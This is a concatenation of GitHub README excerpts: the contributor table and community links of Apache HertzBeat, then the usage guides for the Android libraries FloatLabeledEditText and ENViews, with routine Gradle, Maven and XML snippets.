<td align="center" valign="top" width="14.28%"><a href="https://github.com/i-mayuan"><img src="https://avatars.githubusercontent.com/u/101498477?v=4?s=100" width="100px;" alt="i-mayuan"/><br /><sub><b>i-mayuan</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=i-mayuan" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/fengruge"><img src="https://avatars.githubusercontent.com/u/85803831?v=4?s=100" width="100px;" alt="fengruge"/><br /><sub><b>fengruge</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=fengruge" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/aystzh"><img src="https://avatars.githubusercontent.com/u/38125392?v=4?s=100" width="100px;" alt="zhanghuan"/><br /><sub><b>zhanghuan</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=aystzh" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/shenyumin"><img src="https://avatars.githubusercontent.com/u/8438506?v=4?s=100" width="100px;" alt="shenymin"/><br /><sub><b>shenymin</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=shenyumin" title="Code">💻</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/dhruva1995"><img src="https://avatars.githubusercontent.com/u/12976351?v=4?s=100" width="100px;" alt="Dhruva Chandra"/><br /><sub><b>Dhruva Chandra</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=dhruva1995" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/weiwang988"><img src="https://avatars.githubusercontent.com/u/58241726?v=4?s=100" width="100px;" alt="miss_z"/><br /><sub><b>miss_z</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=weiwang988" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/wyt990"><img src="https://avatars.githubusercontent.com/u/86013697?v=4?s=100" width="100px;" alt="wyt990"/><br /><sub><b>wyt990</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=wyt990" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/licocon"><img src="https://avatars.githubusercontent.com/u/36863277?v=4?s=100" width="100px;" alt="licocon"/><br /><sub><b>licocon</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=licocon" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/2406450951"><img src="https://avatars.githubusercontent.com/u/48074721?v=4?s=100" width="100px;" alt="Mi Na"/><br /><sub><b>Mi Na</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=2406450951" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Kylin-Guo"><img src="https://avatars.githubusercontent.com/u/131239856?v=4?s=100" width="100px;" alt="Kylin-Guo"/><br /><sub><b>Kylin-Guo</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=Kylin-Guo" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/1797899698"><img src="https://avatars.githubusercontent.com/u/40411650?v=4?s=100" width="100px;" alt="Mr灬Dong先生"/><br /><sub><b>Mr灬Dong先生</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=1797899698" title="Code">💻</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="http://neilblaze.live"><img src="https://avatars.githubusercontent.com/u/48355572?v=4?s=100" width="100px;" alt="Pratyay Banerjee"/><br /><sub><b>Pratyay Banerjee</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=Neilblaze" title="Documentation">📖</a> <a href="https://github.com/apache/hertzbeat/commits?author=Neilblaze" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/yujianzhong520"><img src="https://avatars.githubusercontent.com/u/63705063?v=4?s=100" width="100px;" alt="yujianzhong520"/><br /><sub><b>yujianzhong520</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=yujianzhong520" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://sppan24.github.io/"><img src="https://avatars.githubusercontent.com/u/15795173?v=4?s=100" width="100px;" alt="SPPan"/><br /><sub><b>SPPan</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=sppan24" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/1130600015"><img src="https://avatars.githubusercontent.com/u/67859663?v=4?s=100" width="100px;" alt="ZhangJiashu"/><br /><sub><b>ZhangJiashu</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=1130600015" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/QZmp236478"><img src="https://avatars.githubusercontent.com/u/56623162?v=4?s=100" width="100px;" alt="impress"/><br /><sub><b>impress</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=QZmp236478" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/jx3775250"><img src="https://avatars.githubusercontent.com/u/40455946?v=4?s=100" width="100px;" alt="凌晨一点半"/><br /><sub><b>凌晨一点半</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=jx3775250" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/eeshaanSA"><img src="https://avatars.githubusercontent.com/u/100678386?v=4?s=100" width="100px;" alt="Eeshaan Sawant"/><br /><sub><b>Eeshaan Sawant</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=eeshaanSA" title="Code">💻</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/nandofromthebando"><img src="https://avatars.githubusercontent.com/u/87321214?v=4?s=100" width="100px;" alt="nandofromthebando"/><br /><sub><b>nandofromthebando</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=nandofromthebando" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/caiboking"><img src="https://avatars.githubusercontent.com/u/6509883?v=4?s=100" width="100px;" alt="caiboking"/><br /><sub><b>caiboking</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=caiboking" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/baixing99"><img src="https://avatars.githubusercontent.com/u/73473087?v=4?s=100" width="100px;" alt="baixing99"/><br /><sub><b>baixing99</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=baixing99" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/ifrenzyc"><img src="https://avatars.githubusercontent.com/u/543927?v=4?s=100" width="100px;" alt="Yang Chuang"/><br /><sub><b>Yang Chuang</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=ifrenzyc" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/wlin20"><img src="https://avatars.githubusercontent.com/u/20657577?v=4?s=100" width="100px;" alt="wlin20"/><br /><sub><b>wlin20</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=wlin20" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/guojing1983"><img src="https://avatars.githubusercontent.com/u/60596094?v=4?s=100" width="100px;" alt="guojing1983"/><br /><sub><b>guojing1983</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=guojing1983" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/itxxq"><img src="https://avatars.githubusercontent.com/u/46962357?v=4?s=100" width="100px;" alt="moxi"/><br /><sub><b>moxi</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=itxxq" title="Documentation">📖</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/qq471754603"><img src="https://avatars.githubusercontent.com/u/23146592?v=4?s=100" width="100px;" alt="qq471754603"/><br /><sub><b>qq471754603</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=qq471754603" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/san346596324"><img src="https://avatars.githubusercontent.com/u/30828520?v=4?s=100" width="100px;" alt="渭雨"/><br /><sub><b>渭雨</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=san346596324" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/luoxuanzao"><img src="https://avatars.githubusercontent.com/u/44692579?v=4?s=100" width="100px;" alt="liuxuezhuo"/><br /><sub><b>liuxuezhuo</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=luoxuanzao" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/lisongning"><img src="https://avatars.githubusercontent.com/u/93140178?v=4?s=100" width="100px;" alt="lisongning"/><br /><sub><b>lisongning</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=lisongning" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/YutingNie"><img src="https://avatars.githubusercontent.com/u/104416402?v=4?s=100" width="100px;" alt="YutingNie"/><br /><sub><b>YutingNie</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=YutingNie" title="Code">💻</a> <a href="https://github.com/apache/hertzbeat/commits?author=YutingNie" title="Documentation">📖</a> <a href="#design-YutingNie" title="Design">🎨</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/mikezzb"><img src="https://avatars.githubusercontent.com/u/23418428?v=4?s=100" width="100px;" alt="Mike Zhou"/><br /><sub><b>Mike Zhou</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=mikezzb" title="Code">💻</a> <a href="https://github.com/apache/hertzbeat/commits?author=mikezzb" title="Documentation">📖</a> <a href="#design-mikezzb" title="Design">🎨</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/a-little-fool"><img src="https://avatars.githubusercontent.com/u/105542329?v=4?s=100" width="100px;" alt="小笨蛋"/><br /><sub><b>小笨蛋</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=a-little-fool" title="Code">💻</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/littlezhongzer"><img src="https://avatars.githubusercontent.com/u/33685289?v=4?s=100" width="100px;" alt="littlezhongzer"/><br /><sub><b>littlezhongzer</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=littlezhongzer" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/ChenXiangxxxxx"><img src="https://avatars.githubusercontent.com/u/90089594?v=4?s=100" width="100px;" alt="ChenXiangxxxxx"/><br /><sub><b>ChenXiangxxxxx</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=ChenXiangxxxxx" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Mr-zhou315"><img src="https://avatars.githubusercontent.com/u/10276100?v=4?s=100" width="100px;" alt="Mr.zhou"/><br /><sub><b>Mr.zhou</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=Mr-zhou315" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/XimfengYao"><img src="https://avatars.githubusercontent.com/u/17541537?v=4?s=100" width="100px;" alt="姚贤丰"/><br /><sub><b>姚贤丰</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=XimfengYao" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/LINGLUOJUN"><img src="https://avatars.githubusercontent.com/u/16778977?v=4?s=100" width="100px;" alt="lingluojun"/><br /><sub><b>lingluojun</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=LINGLUOJUN" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="http://www.luelueking.com"><img src="https://avatars.githubusercontent.com/u/93204032?v=4?s=100" width="100px;" alt="1ue"/><br /><sub><b>1ue</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=luelueking" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="http://www.jimmyqiao.top"><img src="https://avatars.githubusercontent.com/u/67301054?v=4?s=100" width="100px;" alt="qyaaaa"/><br /><sub><b>qyaaaa</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=qyaaaa" title="Code">💻</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://novohit.top"><img src="https://avatars.githubusercontent.com/u/101090395?v=4?s=100" width="100px;" alt="novohit"/><br /><sub><b>novohit</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=novohit" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/rbsrcy"><img src="https://avatars.githubusercontent.com/u/4798540?v=4?s=100" width="100px;" alt="zhuoshangyi"/><br /><sub><b>zhuoshangyi</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=rbsrcy" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/ruanliang-hualun"><img src="https://avatars.githubusercontent.com/u/65543716?v=4?s=100" width="100px;" alt="ruanliang"/><br /><sub><b>ruanliang</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=ruanliang-hualun" title="Documentation">📖</a> <a href="https://github.com/apache/hertzbeat/commits?author=ruanliang-hualun" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Eden4701"><img src="https://avatars.githubusercontent.com/u/68422437?v=4?s=100" width="100px;" alt="Eden4701"/><br /><sub><b>Eden4701</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=Eden4701" title="Code">💻</a> <a href="https://github.com/apache/hertzbeat/commits?author=Eden4701" title="Documentation">📖</a> <a href="#design-Eden4701" title="Design">🎨</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/XiaTian688"><img src="https://avatars.githubusercontent.com/u/111830921?v=4?s=100" width="100px;" alt="XiaTian688"/><br /><sub><b>XiaTian688</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=XiaTian688" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/liyin"><img src="https://avatars.githubusercontent.com/u/863169?v=4?s=100" width="100px;" alt="liyinjiang"/><br /><sub><b>liyinjiang</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=liyin" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/jiashu1024"><img src="https://avatars.githubusercontent.com/u/67859663?v=4?s=100" width="100px;" alt="ZhangJiashu"/><br /><sub><b>ZhangJiashu</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=jiashu1024" title="Documentation">📖</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/1036664317"><img src="https://avatars.githubusercontent.com/u/7696697?v=4?s=100" width="100px;" alt="moghn"/><br /><sub><b>moghn</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=1036664317" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/xiaoguolong"><img src="https://avatars.githubusercontent.com/u/33684988?v=4?s=100" width="100px;" alt="xiaoguolong"/><br /><sub><b>xiaoguolong</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=xiaoguolong" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Clownsw"><img src="https://avatars.githubusercontent.com/u/28394742?v=4?s=100" width="100px;" alt="Smliexx"/><br /><sub><b>Smliexx</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=Clownsw" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Calvin979"><img src="https://avatars.githubusercontent.com/u/131688897?v=4?s=100" width="100px;" alt="Naruse"/><br /><sub><b>Naruse</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=Calvin979" title="Documentation">📖</a> <a href="https://github.com/apache/hertzbeat/commits?author=Calvin979" title="Code">💻</a> <a href="#design-Calvin979" title="Design">🎨</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/bbelide2"><img src="https://avatars.githubusercontent.com/u/26840796?v=4?s=100" width="100px;" alt="Bala Sukesh"/><br /><sub><b>Bala Sukesh</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=bbelide2" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/jinyaoMa"><img src="https://avatars.githubusercontent.com/u/25066570?v=4?s=100" width="100px;" alt="Jinyao Ma"/><br /><sub><b>Jinyao Ma</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=jinyaoMa" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://linuxsuren.github.io/open-source-best-practice/"><img src="https://avatars.githubusercontent.com/u/1450685?v=4?s=100" width="100px;" alt="Rick"/><br /><sub><b>Rick</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=LinuxSuRen" title="Code">💻</a> <a href="https://github.com/apache/hertzbeat/commits?author=LinuxSuRen" title="Tests">⚠️</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/ZY945"><img src="https://avatars.githubusercontent.com/u/74083801?v=4?s=100" width="100px;" alt="东风"/><br /><sub><b>东风</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=ZY945" title="Code">💻</a> <a href="#design-ZY945" title="Design">🎨</a> <a href="https://github.com/apache/hertzbeat/commits?author=ZY945" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/prolevel1"><img src="https://avatars.githubusercontent.com/u/51995525?v=4?s=100" width="100px;" alt="sonam singh"/><br /><sub><b>sonam singh</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=prolevel1" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/ZhangZixuan1994"><img src="https://avatars.githubusercontent.com/u/20011653?v=4?s=100" width="100px;" alt="ZhangZixuan1994"/><br /><sub><b>ZhangZixuan1994</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=ZhangZixuan1994" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/hurenjie1"><img src="https://avatars.githubusercontent.com/u/40120355?v=4?s=100" width="100px;" alt="SHIG"/><br /><sub><b>SHIG</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=hurenjie1" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://tslj1024.github.io/"><img src="https://avatars.githubusercontent.com/u/155222677?v=4?s=100" width="100px;" alt="泰上老菌"/><br /><sub><b>泰上老菌</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=tslj1024" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/ldysdu"><img src="https://avatars.githubusercontent.com/u/15815338?v=4?s=100" width="100px;" alt="ldysdu"/><br /><sub><b>ldysdu</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=ldysdu" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/GEM0816g"><img src="https://avatars.githubusercontent.com/u/85116017?v=4?s=100" width="100px;" alt="梁同学"/><br /><sub><b>梁同学</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=GEM0816g" title="Code">💻</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/avvCode"><img src="https://avatars.githubusercontent.com/u/113538532?v=4?s=100" width="100px;" alt="avv"/><br /><sub><b>avv</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=avvCode" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/yqxxgh"><img src="https://avatars.githubusercontent.com/u/42080876?v=4?s=100" width="100px;" alt="yqxxgh"/><br /><sub><b>yqxxgh</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=yqxxgh" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/CharlieShi46"><img src="https://avatars.githubusercontent.com/u/149798885?v=4?s=100" width="100px;" alt="CharlieShi46"/><br /><sub><b>CharlieShi46</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=CharlieShi46" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Nctllnty"><img src="https://avatars.githubusercontent.com/u/33241818?v=4?s=100" width="100px;" alt="Nctllnty"/><br /><sub><b>Nctllnty</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=Nctllnty" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Wang-Yonghao"><img src="https://avatars.githubusercontent.com/u/48146606?v=4?s=100" width="100px;" alt="Wang-Yonghao"/><br /><sub><b>Wang-Yonghao</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=Wang-Yonghao" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://www.yuque.com/dudiao/yy"><img src="https://avatars.githubusercontent.com/u/38355949?v=4?s=100" width="100px;" alt="读钓"/><br /><sub><b>读钓</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=dudiao" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/starmilkxin"><img src="https://avatars.githubusercontent.com/u/55646681?v=4?s=100" width="100px;" alt="Xin"/><br /><sub><b>Xin</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=starmilkxin" title="Code">💻</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/handy-git"><img src="https://avatars.githubusercontent.com/u/32837980?v=4?s=100" width="100px;" alt="handy"/><br /><sub><b>handy</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=handy-git" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/LiuTianyou"><img src="https://avatars.githubusercontent.com/u/30208283?v=4?s=100" width="100px;" alt="LiuTianyou"/><br /><sub><b>LiuTianyou</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=LiuTianyou" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/WinterKi1ler"><img src="https://avatars.githubusercontent.com/u/160592092?v=4?s=100" width="100px;" alt="WinterKi1ler"/><br /><sub><b>WinterKi1ler</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=WinterKi1ler" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="http://sharehoo.cn/"><img src="https://avatars.githubusercontent.com/u/45377370?v=4?s=100" width="100px;" alt="miki"/><br /><sub><b>miki</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=miki-hmt" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://codeflex.substack.com/"><img src="https://avatars.githubusercontent.com/u/85513042?v=4?s=100" width="100px;" alt="Keshav Carpenter"/><br /><sub><b>Keshav Carpenter</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=alpha951" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/makechoicenow"><img src="https://avatars.githubusercontent.com/u/9911918?v=4?s=100" width="100px;" alt="makechoicenow"/><br /><sub><b>makechoicenow</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=makechoicenow" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/gjjjj0101"><img src="https://avatars.githubusercontent.com/u/71874373?v=4?s=100" width="100px;" alt="Gao Jian"/><br /><sub><b>Gao Jian</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=gjjjj0101" title="Code">💻</a></td>
</tr>
</tbody>
</table>
<!-- markdownlint-restore -->
<!-- prettier-ignore-end -->
<!-- ALL-CONTRIBUTORS-LIST:END -->
## 💬 Join discussion
##### Channel
[Join the Mailing Lists](https://lists.apache.org/list.html?dev@hertzbeat.apache.org) : Mail to `dev-subscribe@hertzbeat.apache.org` to subscribe mailing lists.
[Chat On Discord](https://discord.gg/Fb6M73htGr)
WeChat Group : Add friend `tan-cloud` and invite to the group.
WeChat Public : Search `Apache HertzBeat` or `usthecom`.
[QQ Group](https://jq.qq.com/?_wv=1027&k=Bud9OzdI) : Group num `630061200`
[Github Discussion](https://github.com/apache/hertzbeat/discussions)
[Reddit Community](https://www.reddit.com/r/hertzbeat/)
[Follow Us Twitter](https://twitter.com/hertzbeat1024)
[Subscribe YouTube](https://www.youtube.com/channel/UCri75zfWX0GHqJFPENEbLow)
##### Open-Source Project Build From Open-Source
HertzBeat is built on so many great open source projects, thanks to them!
- `Java Spring SpringBoot Jpa Maven Assembly Netty Lombok Sureness Aviator Protobuf HttpClient Guava SnakeYaml JsonPath ...`
- `TypeScript Angular NG-ZORRO NG-ALAIN NodeJs Npm Html Less Echarts Rxjs ZoneJs MonacoEditor SlickCarousel Docusaurus ...`
## Landscape
<p align="left">
<img src="./home/static/img/home/cncf-landscape-left-logo.svg" width="300"> <img src="./home/static/img/home/cncf-right-logo.svg" width="345" />
<br /><br />
HertzBeat has been included in the <a href="https://landscape.cncf.io/guide?item=observability-and-analysis--monitoring--hertzbeat#observability-and-analysis--monitoring">
CNCF Observability And Analysis - Monitoring Landscape.</a>
</p>
## Star History
[](https://star-history.com/#apache/hertzbeat&Date)
## 🛡️ License
[`Apache License, Version 2.0`](https://www.apache.org/licenses/LICENSE-2.0.html)
| 0 |
wrapp-archive/floatlabelededittext | Floating hint from edit text - inspired by Matt D. Smith's design: http://dribbble.com/shots/1254439--GIF-Mobile-Form-Interaction?list=users | null | Float Labeled EditText
==============
Simple implementation of a Float Labeled EditText: An Android ViewGroup which uses a child EditText and puts the hint on top of the EditText when it is populated with text.
iOS implementation by [@jverdi](http://www.twitter.com/jverdi): [JVFloatLabeledTextField](https://github.com/jverdi/JVFloatLabeledTextField)
Credits for the concept to Matt D. Smith ([@mds](http://www.twitter.com/mds)).
http://dribbble.com/shots/1254439--GIF-Mobile-Form-Interaction?list=users
Notice
==============
The usage has significantly changed in version 0.0.5 inspired by [chrisbanes](https://github.com/chrisbanes) [implementation](https://gist.github.com/chrisbanes/11247418) which makes styling easier. If you want to use the old style, use version 0.0.4.
Usage
=====
Add the library project or grab to build.gradle:
```groovy
compile 'com.wrapp.floatlabelededittext:library:0.0.6'
```
or plain maven:
```maven
<dependency>
<groupId>com.wrapp.floatlabelededittext</groupId>
<artifactId>library</artifactId>
<version>0.0.6</version>
<type>aar</type>
</dependency>
```
and then insert the view in XML:
```xml
<com.wrapp.floatlabelededittext.FloatLabeledEditText
android:layout_width="match_parent"
android:layout_height="wrap_content">
<EditText
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:hint="This is the hint" />
</com.wrapp.floatlabelededittext.FloatLabeledEditText>
<!-- add some padding -->
<com.wrapp.floatlabelededittext.FloatLabeledEditText
android:layout_width="match_parent"
android:layout_height="wrap_content"
float:fletPadding="10dp">
<EditText
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:hint="Username" />
</com.wrapp.floatlabelededittext.FloatLabeledEditText>
<!-- password input -->
<com.wrapp.floatlabelededittext.FloatLabeledEditText
android:layout_width="match_parent"
android:layout_height="wrap_content"
float:fletPaddingBottom="10dp">
<EditText
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:hint="Password"
android:inputType="textPassword" />
</com.wrapp.floatlabelededittext.FloatLabeledEditText>
<!-- change color of hint text-->
<com.wrapp.floatlabelededittext.FloatLabeledEditText
android:layout_width="match_parent"
android:layout_height="wrap_content"
float:fletPaddingBottom="10dp"
float:fletTextAppearance="@style/floatlabelededittext">
<EditText
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:hint="Styled Hint"
android:inputType="textPassword" />
</com.wrapp.floatlabelededittext.FloatLabeledEditText>
```
Developed By
============
* Henrik Sandström [@heinrisch](https://twitter.com/Heinrisch)
Styled By
=========
* Marcus Gellemark [Dribbble](http://dribbble.com/Gellermark)
Additional Credit
=================
* Chris Banes [chrisbanes](https://github.com/chrisbanes)
* Quentin DOMMERC [dommerq](https://github.com/dommerq)
* Aaron Rietschlin [@AaronRietschlin](https://twitter.com/AaronRietschlin)
* Guillaume Imbert [HozakaN](https://github.com/HozakaN)
License
=======
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
| 0 |
codeestX/ENViews | :star2:A cool dynamic view library | android-library android-view animation customview dynamic effects ui-components view | # ENViews
[](https://android-arsenal.com/details/1/4749)
[](https://jitpack.io/#codeestX/ENViews)
ENViews, A cool dynamic view library.All designed by [Nick Buturishvili](https://dribbble.com/nick_buturishvili
)
ENViews, 一个华丽丽的动效控件库，所有控件原型取自[Nick Buturishvili](https://dribbble.com/nick_buturishvili
)的设计作品
# Preview
| Original design | Android demo | Class |
| :--: | :--: | :--: |
|  |  |ENDownloadView|
|  | |ENVolumeView|
|  |  | ENLoadingView |
| |  | ENPlayView |
| |  |ENSearchView
| |  |ENScrollView
| |  |ENRefreshView|
# Usage
Step 1. Add the JitPack repository to your build file
allprojects {
repositories {
...
maven { url "https://jitpack.io" }
}
}
Step 2. Add the dependency
dependencies {
compile 'com.github.codeestX:ENViews:v1.0.3'
}
Step 3. See DemoProject for details.
# Thanks
* [Nick Buturishvili](https://dribbble.com/nick_buturishvili)
* [GcsSloop](http://www.gcssloop.com/customview/CustomViewIndex)
# License
